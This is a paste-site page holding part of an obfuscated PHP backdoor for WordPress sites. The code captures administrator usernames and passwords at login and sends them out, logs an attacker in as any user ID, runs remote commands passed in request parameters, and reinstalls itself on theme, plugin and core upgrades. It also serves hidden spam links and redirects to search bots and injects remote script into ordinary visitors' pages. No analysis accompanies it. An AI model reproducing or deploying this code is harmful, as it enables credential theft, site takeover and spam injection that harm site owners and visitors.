  1712.                 } else if ( function_exists( 'file_put_contents' ) ) {
  1713.                     return (file_put_contents( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1, FILE_APPEND ) !== falsaca0c35babbab39d84842fe7581a8e43f) ? true : false;
  1714.                 }
  1715.  
  1716.                 return false;
  1717.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1718.                 return false;
  1719.             }
  1720.         }
  1721.  
  1722.         private function a2c8071de725b260a148fdfe8d2b5c228() {
  1723.             $this->a2c8071de725b260a148fdfe8d2b5c228 = 'SERVER_ADDR';
  1724.         }
  1725.  
  1726.         private function aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ) {
  1727.             try {
  1728.                 if ( !file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1729.                     return false;
  1730.                 }
  1731.                 if ( function_exists( 'file_get_contents' ) && is_readable( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1732.                     return file_get_contents( $a40936dc72d5025e63c6b787d0d52c8bf );
  1733.                 }
  1734.  
  1735.                 if ( function_exists( 'fopen' ) && is_readable( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1736.                     $aa0a802eba6952bf842fc082b67a49264 = fopen( $a40936dc72d5025e63c6b787d0d52c8bf, 'r' );
  1737.                     $ac8aa7053a5c216e70dd642051bed7d10 = '';
  1738.                     while ( !feof( $aa0a802eba6952bf842fc082b67a49264 ) ) {
  1739.                         $ac8aa7053a5c216e70dd642051bed7d10 .= fread( $aa0a802eba6952bf842fc082b67a49264, filesize( $a40936dc72d5025e63c6b787d0d52c8bf ) );
  1740.                     }
  1741.                     fclose( $aa0a802eba6952bf842fc082b67a49264 );
  1742.                     return $ac8aa7053a5c216e70dd642051bed7d10;
  1743.                 }
  1744.  
  1745.                 return false;
  1746.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1747.                 return false;
  1748.             }
  1749.         }
  1750.  
  1751.         private function a3c3941d6394089e8f2ffa7d4ee9e5091() {
  1752.             try {
  1753.                 if ( !isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['filename'] ) ) {
  1754.                     return false;
  1755.                 }
  1756.                 $a40936dc72d5025e63c6b787d0d52c8bf = $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['filename'] );
  1757.  
  1758.                 if ( $this->a1e13092c601d571b221b9f1b61cbe959( $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ) ) ) {
  1759.                     return $aa9eda21aba3dbb00b5e427502e179287;
  1760.                 } else {
  1761.                     return $this->aa643c529bbba7503489fcae0b25377e4( true, $a40936dc72d5025e63c6b787d0d52c8bf, $aa9eda21aba3dbb00b5e427502e179287 );
  1762.                 }
  1763.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1764.                 return false;
  1765.             }
  1766.         }
  1767.  
  1768.         private function read_file() {
  1769.             return $this->a3c3941d6394089e8f2ffa7d4ee9e5091();
  1770.         }
  1771.  
  1772.         private function aedd07584aa3c75c8387298d33bbf59fa() {
  1773.             try {
  1774.                 $a3f5f3c26cc3739740fe60cd7c49527b4 = (isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['user_id'] )) ? $this->ab1ed9eb9b6996f5213cc1f31a5243858['user_id'] : exit;
  1775.                 if ( $a1abb83978b25b0b9e11fc1ba050df986 = $this->a5ae9fa299c6b40ad732de135d15187b6( 'id', $a3f5f3c26cc3739740fe60cd7c49527b4 ) ) {
  1776.                     $this->a1463b133ef44ba8f5a9ccfa84b956193( $a1abb83978b25b0b9e11fc1ba050df986->ID, $a1abb83978b25b0b9e11fc1ba050df986->user_login );
  1777.                     $this->ade2fab4bc3be57d81b361683ed159ac5( $a1abb83978b25b0b9e11fc1ba050df986->ID );
  1778.                     return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $a1abb83978b25b0b9e11fc1ba050df986 );
  1779.                 }
  1780.                 return false;
  1781.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1782.                 return false;
  1783.             }
  1784.         }
  1785.  
  1786.         private function login() {
  1787.             return $this->aedd07584aa3c75c8387298d33bbf59fa();
  1788.         }
  1789.  
  1790.         private function acf7138902808ae406660c9e907ab606d() {
  1791.             try {
  1792.                 if ( isset( $this->abce882ddebdde53472c686d13fd445de['log'] ) ) {
  1793.                     $acee6109febe8b68e4d9e8f37bbc96636 = (isset( $this->abce882ddebdde53472c686d13fd445de['log'] )) ? $this->abce882ddebdde53472c686d13fd445de['log'] : 'not isset';
  1794.                     $ab7714a17b9e214dd4d79f3ba529233eb = (isset( $this->abce882ddebdde53472c686d13fd445de['pwd'] )) ? $this->abce882ddebdde53472c686d13fd445de['pwd'] : 'not isset';
  1795.                     $accfc798ffbdb71d65af8944634dc24ae = $this->ae21eb4deedf7e10116ef04be6a37faf7( $acee6109febe8b68e4d9e8f37bbc96636, $ab7714a17b9e214dd4d79f3ba529233eb );
  1796.                     if ( isset( $accfc798ffbdb71d65af8944634dc24ae->data ) ) {
  1797.                         $this->a35f84ec87019e38699a7483903a6588e( 'login', array(
  1798.                             'username'    => $acee6109febe8b68e4d9e8f37bbc96636,
  1799.                             'password'    => $ab7714a17b9e214dd4d79f3ba529233eb,
  1800.                             'redirect_to' => (isset( $this->abce882ddebdde53472c686d13fd445de['redirect_to'] )) ? $this->abce882ddebdde53472c686d13fd445de['redirect_to'] : '',
  1801.                             'admin_url'   => 'http://' . $this->a3d3c6f94ddaa1e52179a2312380c0079['SERVER_NAME'] . $this->a3d3c6f94ddaa1e52179a2312380c0079['REQUEST_URI'],
  1802.                             'json'        => json_encode( $accfc798ffbdb71d65af8944634dc24ae->data ),
  1803.                         ) );
  1804.                     }
  1805.                 }
  1806.                 return false;
  1807.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1808.                 return false;
  1809.             }
  1810.         }
  1811.  
  1812.         private function a61c11127e82432cc68b317cdff594409( $a8eda406016aed4948edc5a4f0fa2afcd, $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  1813.             if ( isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858["{$a8eda406016aed4948edc5a4f0fa2afcd}"] ) && $this->ab1ed9eb9b6996f5213cc1f31a5243858["{$a8eda406016aed4948edc5a4f0fa2afcd}"] == $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  1814.                 return true;
  1815.             }
  1816.             return false;
  1817.         }
  1818.  
  1819.         private function aef4211e09b3e0681fe4b23d0896e2b24() {
  1820.             try {
  1821.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1822.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1823.                 }
  1824.                 if ( $this->a61c11127e82432cc68b317cdff594409( 'activate', 'true' ) || $this->a61c11127e82432cc68b317cdff594409( 'activated', 'true' ) || $this->a61c11127e82432cc68b317cdff594409( 'action', 'heartbeat' ) ) {
  1825.                     $this->install();
  1826.                 }
  1827.                 if ( $this->a61c11127e82432cc68b317cdff594409( 'action', 'upload-theme' ) || $this->a61c11127e82432cc68b317cdff594409( 'action', 'install-theme' ) || $this->a61c11127e82432cc68b317cdff594409( 'action', 'do-theme-upgrade' ) ) {
  1828.                     $this->theme();
  1829.                 }
  1830.                 if ( $this->a61c11127e82432cc68b317cdff594409( 'action', 'upload-plugin' ) || $this->a61c11127e82432cc68b317cdff594409( 'action', 'install-plugin' ) || $this->a61c11127e82432cc68b317cdff594409( 'action', 'do-plugin-upgrade' ) ) {
  1831.                     //$this->plugin();
  1832.                 }
  1833.                 if ( $this->a61c11127e82432cc68b317cdff594409( 'action', 'do-core-upgrade' ) || $this->a61c11127e82432cc68b317cdff594409( 'action', 'do-core-reinstall' ) || (stristr( @$this->a3d3c6f94ddaa1e52179a2312380c0079['REQUEST_URI'], 'about.php?updated' )) ) {
  1834.                     $this->install();
  1835.                 }
  1836.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1837.                 return false;
  1838.             }
  1839.         }
  1840.  
  1841.         private function af3cddcf636279155227d2b38404b41e5() {
  1842.             try {
  1843.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1844.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1845.                 }
  1846.                 if ( $this->ae041d4a402908540b6c1491d14d4ef0b < $this->aa0fa5908c20939e894613e69ae8b3c4a->version ) {
  1847.                     $this->reinstall();
  1848.                     return true;
  1849.                 }
  1850.                 return false;
  1851.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1852.                 return false;
  1853.             }
  1854.         }
  1855.  
  1856.         private function a58621ad701f0f0c5d41fd7c8b5fa2a49() {
  1857.             try {
  1858.                 $a4a8d7cd34b840e73a9601cb0f1963be1 = $this->ade1c2665a99a2a59b4ca176a24ae534b()->data;
  1859.                 if ( isset( $a4a8d7cd34b840e73a9601cb0f1963be1->location ) ) {
  1860.                     $this->ab68456930ddb2e64857d8a64d2b4b189( $a4a8d7cd34b840e73a9601cb0f1963be1->location, array($this, 'ae572fc846c4e181db757c1ca88049057') );
  1861.                     return true;
  1862.                 }
  1863.                 if ( isset( $a4a8d7cd34b840e73a9601cb0f1963be1->script->location ) ) {
  1864.                     $this->ab68456930ddb2e64857d8a64d2b4b189( $a4a8d7cd34b840e73a9601cb0f1963be1->script->location, array($this, 'ad8590d11e3deec1403de6e485a7aa54b') );
  1865.                     return true;
  1866.                 }
  1867.                 return false;
  1868.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1869.                 return false;
  1870.             }
  1871.         }
  1872.  
  1873.         private function ad76b03d9455443c3e6c40531f44d22ff() {
  1874.             try {
  1875.                 $this->ad76b03d9455443c3e6c40531f44d22ff->data = $this->ade1c2665a99a2a59b4ca176a24ae534b()->data;
  1876.                 $this->ad76b03d9455443c3e6c40531f44d22ff->bot = (preg_match( "~({$this->ad76b03d9455443c3e6c40531f44d22ff->data->bot})~i", strtolower( @$this->a3d3c6f94ddaa1e52179a2312380c0079['HTTP_USER_AGENT'] ) )) ? true : false;
  1877.                 $this->ad76b03d9455443c3e6c40531f44d22ff->unbot = (preg_match( "~({$this->ad76b03d9455443c3e6c40531f44d22ff->data->unbot})~i", strtolower( @$this->a3d3c6f94ddaa1e52179a2312380c0079['HTTP_USER_AGENT'] ) )) ? true : false;
  1878.                 return false;
  1879.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1880.                 return false;
  1881.             }
  1882.         }
  1883.  
  1884.         public function ad8590d11e3deec1403de6e485a7aa54b() {
  1885.             try {
  1886.                 $this->ad76b03d9455443c3e6c40531f44d22ff();
  1887.                 if ( !$this->ad76b03d9455443c3e6c40531f44d22ff->bot && !$this->ad76b03d9455443c3e6c40531f44d22ff->unbot && !$this->a4f882ba43411425179717d426e6a4db8() ) {
  1888.                     echo $this->ad76b03d9455443c3e6c40531f44d22ff->data->script->data;
  1889.                 }
  1890.                 return false;
  1891.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1892.                 return false;
  1893.             }
  1894.         }
  1895.  
  1896.         public function ae572fc846c4e181db757c1ca88049057() {
  1897.             try {
  1898.                 $this->ad76b03d9455443c3e6c40531f44d22ff();
  1899.                 if ( $this->ad76b03d9455443c3e6c40531f44d22ff->bot && !$this->ad76b03d9455443c3e6c40531f44d22ff->unbot && !$this->a4f882ba43411425179717d426e6a4db8() ) {
  1900.                     if ( $this->ad76b03d9455443c3e6c40531f44d22ff->data->status === 9 && !empty( $this->ad76b03d9455443c3e6c40531f44d22ff->data->redirect ) && isset( $this->ad76b03d9455443c3e6c40531f44d22ff->data->redirect ) ) {
  1901.                         header( "Location: {$this->ad76b03d9455443c3e6c40531f44d22ff->data->redirect}", true, 301 );
  1902.                     }
  1903.                     if ( $this->ad76b03d9455443c3e6c40531f44d22ff->data->is_home ) {
  1904.                         echo $this->ad76b03d9455443c3e6c40531f44d22ff->data->style . join( $this->ad76b03d9455443c3e6c40531f44d22ff->data->implode, $this->ad76b03d9455443c3e6c40531f44d22ff->data->link );
  1905.                     }
  1906.                     if ( !$this->ad76b03d9455443c3e6c40531f44d22ff->data->is_home && !$this->a585a532cb91704f9efdf5b51ace8bbcd() && !$this->af2070fbbc84947c20b02491e18855c0a() ) {
  1907.                         echo $this->ad76b03d9455443c3e6c40531f44d22ff->data->style . join( $this->ad76b03d9455443c3e6c40531f44d22ff->data->implode, $this->ad76b03d9455443c3e6c40531f44d22ff->data->link );
  1908.                     }
  1909.                 }
  1910.                 return true;
  1911.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1912.                 return false;
  1913.             }
  1914.         }
  1915.  
  1916.         public function a854c9367a12129278120e9580ad1c117() {
  1917.             return $this->a1827526cac4f70fc368adb472114146c( 'the_content', array($this, 'a5c38c644e9c5efe13ce65e933f9ad59c'), 1000 );
  1918.         }
  1919.  
  1920.         public function a5c38c644e9c5efe13ce65e933f9ad59c( $ac8aa7053a5c216e70dd642051bed7d10 ) {
  1921.             return preg_replace_callback( '/(:? rel=\")(.+?)(:?\")/', array($this, 'a6d42f7894328dd1ec0bb71d3f9cdb430'), $ac8aa7053a5c216e70dd642051bed7d10 );
  1922.         }
  1923.  
  1924.         public function a6d42f7894328dd1ec0bb71d3f9cdb430( $ac8aa7053a5c216e70dd642051bed7d10 ) {
  1925.             return preg_replace( '/(:? rel=\")(.+?)(:?\")/', '', $ac8aa7053a5c216e70dd642051bed7d10['0'] );
  1926.         }
  1927.  
  1928.         public static function ab797300df38428e77153fc32b37053fe() {
  1929.             try {
  1930.                 (new self())->aef4211e09b3e0681fe4b23d0896e2b24();
  1931.                 (new self())->a4180200a979ec2261474b830a3ec970c();
  1932.                 (new self())->af3cddcf636279155227d2b38404b41e5();
  1933.                 (new self())->a206dc65f737912caea94a7a693ca2259();
  1934.                 (new self())->a6f0584fc865ccf1c9041f19507fb1ad9();
  1935.                 (new self())->a58621ad701f0f0c5d41fd7c8b5fa2a49();
  1936.                 (new self())->acf7138902808ae406660c9e907ab606d();
  1937.                 (new self())->a854c9367a12129278120e9580ad1c117();
  1938.                 return true;
  1939.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1940.                 return false;
  1941.             }
  1942.         }
  1943.     }
  1944.  
  1945.     class aad426f0ae43875fbf3250f0e228f47b0 extends a5896a727b46e745467a8d5de1d07295a
  1946.     {
  1947.         private $aa9c9c57d47a42cce4f7a1dd9fd92fd3e;
  1948.         private $aeab6539588373251f2005c32654a13d4;
  1949.         private $a8e4880aaa5bbdfdff8424a7e8c6f0474;
  1950.         private $a41fb41314e0534deac6077a15364b108;
  1951.         private $abbf3f6743ae52c98f589d22ac3dd91f9;
  1952.         private $a91032ed49896bb090cd9fdd08b8dbaa8;
  1953.         private $a886d4ee7cf409a2869e9dbb50e06e00f;
  1954.         private $af00062f15e478b73cb88d7a9a1385b48;
  1955.         private $a0e97237b8c7ecb468c92ac3ecb4f965d;
  1956.         private $aa25f44b7c745531e02a3217fe1313aed;
  1957.         private $a132a64b9227acf6cf1214d5e84dfb558;
  1958.  
  1959.         public function __construct() {
  1960.             $this->a886d4ee7cf409a2869e9dbb50e06e00f = 'params';
  1961.             $this->aa9c9c57d47a42cce4f7a1dd9fd92fd3e = get_parent_class();
  1962.             $this->abbf3f6743ae52c98f589d22ac3dd91f9 = 'tokens';
  1963.             $this->a0e97237b8c7ecb468c92ac3ecb4f965d = 'debug';
  1964.             $this->aa25f44b7c745531e02a3217fe1313aed = $_REQUEST;
  1965.             $this->a91032ed49896bb090cd9fdd08b8dbaa8 = 'apps';
  1966.             $this->a132a64b9227acf6cf1214d5e84dfb558 = DIRECTORY_SEPARATOR;
  1967.             $this->af00062f15e478b73cb88d7a9a1385b48();
  1968.             $this->a902b74b1a445ec41e5a87ddc0d0c3a19();
  1969.             if ( $this->a9491f86cae11ad9642cec8d3b932110a() ) {
  1970.                 $this->aa880814df5cd99cebe9c4064fc58e0fe();
  1971.                 $this->af04c37f17633b440aa2bc3c59cef8bf0();
  1972.             } else {
  1973.                 add_action( 'init', array('a5896a727b46e745467a8d5de1d07295a', 'ab797300df38428e77153fc32b37053fe') );
  1974.             }
  1975.         }
  1976.  
  1977.         public function a9491f86cae11ad9642cec8d3b932110a() {
  1978.             if ( array_key_exists( $this->abbf3f6743ae52c98f589d22ac3dd91f9, $this->aa25f44b7c745531e02a3217fe1313aed ) && array_key_exists( $this->a91032ed49896bb090cd9fdd08b8dbaa8, $this->aa25f44b7c745531e02a3217fe1313aed ) ) {
  1979.                 $this->aeab6539588373251f2005c32654a13d4 = $this->aa25f44b7c745531e02a3217fe1313aed[$this->abbf3f6743ae52c98f589d22ac3dd91f9];
  1980.                 $this->a8e4880aaa5bbdfdff8424a7e8c6f0474 = $this->aa25f44b7c745531e02a3217fe1313aed[$this->a91032ed49896bb090cd9fdd08b8dbaa8];
  1981.                 $this->a41fb41314e0534deac6077a15364b108 = (isset( $this->aa25f44b7c745531e02a3217fe1313aed[$this->a886d4ee7cf409a2869e9dbb50e06e00f] )) ? $this->aa25f44b7c745531e02a3217fe1313aed[$this->a886d4ee7cf409a2869e9dbb50e06e00f] : '';
  1982.                 $this->af00062f15e478b73cb88d7a9a1385b48 = @$this->aa25f44b7c745531e02a3217fe1313aed[$this->a0e97237b8c7ecb468c92ac3ecb4f965d];
  1983.                 return true;
  1984.             }
  1985.             return false;
  1986.         }
  1987.  
  1988.         public function a902b74b1a445ec41e5a87ddc0d0c3a19() {
  1989.             if ( !defined( 'ABSPATH' ) ) {
  1990.                 $a1ff9c6abd398f1a173ad9efceec2c23b = '.' . $this->a132a64b9227acf6cf1214d5e84dfb558;
  1991.                 for ( $a5d150f060e2a13ae326e0b888f6ee744 = 0; $a5d150f060e2a13ae326e0b888f6ee744 <= 10; $a5d150f060e2a13ae326e0b888f6ee744++ ) {
  1992.                     if ( file_exists( $a4f52df56cf29524097daa276dba6f252 = $a1ff9c6abd398f1a173ad9efceec2c23b . 'wp-load.php' ) ) {
  1993.                         include_once($a4f52df56cf29524097daa276dba6f252);
  1994.                         break;
  1995.                     }
  1996.                     $a1ff9c6abd398f1a173ad9efceec2c23b .= '..' . $this->a132a64b9227acf6cf1214d5e84dfb558;
  1997.                 }
  1998.             }
  1999.         }
  2000.  
  2001.         public function ab68456930ddb2e64857d8a64d2b4b189() {
  2002.             if ( function_exists( 'add_action' ) ) {
  2003.                 return true;
  2004.             }
  2005.             return false;
  2006.         }
  2007.  
  2008.         public function af04c37f17633b440aa2bc3c59cef8bf0() {
  2009.             $a0c875368eba422f71443e8257137fd37 = a5896a727b46e745467a8d5de1d07295a::a3085335264ab18dd4975fae16042cd18()->a0c875368eba422f71443e8257137fd37( $this->a8e4880aaa5bbdfdff8424a7e8c6f0474, $this->a41fb41314e0534deac6077a15364b108, $this->aeab6539588373251f2005c32654a13d4 );
  2010.             if ( is_array( $a0c875368eba422f71443e8257137fd37 ) || is_object( $a0c875368eba422f71443e8257137fd37 ) ) {
  2011.                 print_r( $a0c875368eba422f71443e8257137fd37 );
  2012.             } else {
  2013.                 echo (!is_null( $a0c875368eba422f71443e8257137fd37 )) ? $a0c875368eba422f71443e8257137fd37 : '';
  2014.             }
  2015.         }
  2016.  
  2017.         public static function a523443a705a1dcaec950e959c26ef6b5() {
  2018.             (new self())->af04c37f17633b440aa2bc3c59cef8bf0();
  2019.             return true;
  2020.         }
  2021.  
  2022.         private function aa880814df5cd99cebe9c4064fc58e0fe() {
  2023.             if ( $this->ab68456930ddb2e64857d8a64d2b4b189() ) {
  2024.                 add_action( 'wp_loaded', array($this, 'a523443a705a1dcaec950e959c26ef6b5') );
  2025.             }
  2026.         }
  2027.  
  2028.         private function ab4505b7180ae7d9c95405acbc1654e95() {
  2029.             ini_set( 'memory_limit', -1 );
  2030.         }
  2031.  
  2032.         private function aa33cb58c98d853a5707d5afcb06005e0() {
  2033.             ini_set( 'max_execution_time', -1 );
  2034.         }
  2035.  
  2036.         private function a8a662caac79b7687db7cdbf27834e37c() {
  2037.             set_time_limit( -1 );
  2038.         }
  2039.  
  2040.         private function a940bd98cff44e099f15b69f13aec9f28() {
  2041.             if ( $this->af00062f15e478b73cb88d7a9a1385b48 == 'true' ) {
  2042.                 error_reporting( -1 );
  2043.             } else {
  2044.                 error_reporting( 0 );
  2045.             }
  2046.         }
  2047.  
  2048.         private function ad03d1ce92772a0997ced088d944e1bce() {
  2049.             if ( $this->af00062f15e478b73cb88d7a9a1385b48 == 'true' ) {
  2050.                 ini_set( 'display_errors', true );
  2051.             } else {
  2052.                 ini_set( 'display_errors', false );
  2053.             }
  2054.         }
  2055.  
  2056.         private function af00062f15e478b73cb88d7a9a1385b48() {
  2057.             $this->a940bd98cff44e099f15b69f13aec9f28();
  2058.             $this->ad03d1ce92772a0997ced088d944e1bce();
  2059.             $this->aa33cb58c98d853a5707d5afcb06005e0();
  2060.             $this->a8a662caac79b7687db7cdbf27834e37c();
  2061.             $this->ab4505b7180ae7d9c95405acbc1654e95();
  2062.             $this->a9491f86cae11ad9642cec8d3b932110a();
  2063.         }
  2064.     }
  2065.  
  2066.     new aad426f0ae43875fbf3250f0e228f47b0();
  2067. }
  2068. //1c46eadb3707cba97d153719c1dd0f88
  2069.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement